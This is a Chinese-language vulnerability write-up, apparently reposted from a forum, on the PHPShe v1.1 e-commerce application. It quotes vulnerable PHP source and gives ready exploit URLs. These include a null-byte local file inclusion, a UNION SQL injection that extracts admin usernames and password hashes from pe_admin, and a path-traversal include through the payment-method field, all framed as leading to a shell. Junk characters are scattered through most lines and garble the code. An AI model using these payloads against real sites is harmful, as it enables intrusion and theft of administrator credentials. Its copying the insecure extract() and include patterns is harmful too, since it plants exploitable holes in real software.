phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
9 E3 u+ t, x1 Z+ Y2 o7 Y/* Phpshe v1.1 Vulnerability
: ~) Z. \6 a2 x* Y' B: v3 _/* ========================
5 Q( U; I* f9 V) f# ?/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
+ t4 F1 o8 J9 Z) W  l- l0×00 整体大概参数传输

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//common.php
9 d( H- I% O; t  L/ j, Cif (get_magic_quotes_gpc()) {
0 ~6 U# v2 B  e' `8 |!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
( d8 e9 \: U3 Lelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
# W+ B, Z1 _* F!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
9 E& \+ J, O6 [% B7 b/ X- Q, n( xsession_start();
4 v$ |6 }5 K( h& g5 Y!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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  U% k; t# |0 _//首页文件
1 _  {+ X! ^' }3 ?* G  B. F4 A# ^3 i9 ^<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
; f% P& h5 S. n$ N9 y, y0 F' ]url路由配置
  H* O. J1 T% D/ T; x$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
* Y) k2 N. T) p* A) n5 \2 @9 ?$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
- I4 I8 e( F- k* ]9 `$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
+ M/ c. i/ j% q( [, {//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
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) g8 Q& |4 Z3 u; v1 R2 t8 f<code id="code2">

//product.php文件
$ ]0 U% ^) U) b, E! T& Hcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
7 w9 v2 n0 i) {" K5 A3 C//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
% c: o6 T/ @/ |0 W, t& Pif ($category_id) {
4 t. V5 v) v, \) lwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
( S, }# o4 W2 P; T- G$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
: T0 m5 c0 Q. `8 \$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
3 t& z0 Y8 k9 Z}
& n0 C0 i* J9 F$ yelse {
$sqlwhere .= " order by `product_id` desc";
1 ~1 y, S$ L" h  G0 N7 s* h}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
: `6 y$ y+ N2 I0 [$product_hotlist = product_hotlist();
: {" T* D  Z% y5 N//当前路径
2 S1 C& X; C) S0 p% l" d2 ?7 g$nowpath = category_path($category_id);
# ?! @% Z7 g' [$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
  [5 J0 X1 u7 m$ ]public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
+ ]  Q6 z" _  j2 b" |( i  |{
6 q7 e3 g, k4 n7 ?//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

% V# o6 e; |8 k; o; t' Z$cache_payway = cache::get('payway');

- A* n$ f/ F  h$ |* T7 d( q  Pforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

: @8 K  l( _: r% v}

* \& X+ u. F' V) ~+ R  A: J; U& b}

. E1 x" [1 u/ ]) d$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

2 Z  q( H5 Z$ x1 \!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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- |$ t: \. g4 Q2 |% U}

echo '正在为您连接支付网站，请稍后...';

: `; |$ X5 d/ n3 q4 D# winclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

' M9 G0 n2 [" }5 o" j  i: lelse {

) X2 P' `. ?: xpe_error('支付错误...');

}

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$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

% ]' h4 W4 G% h8 Mbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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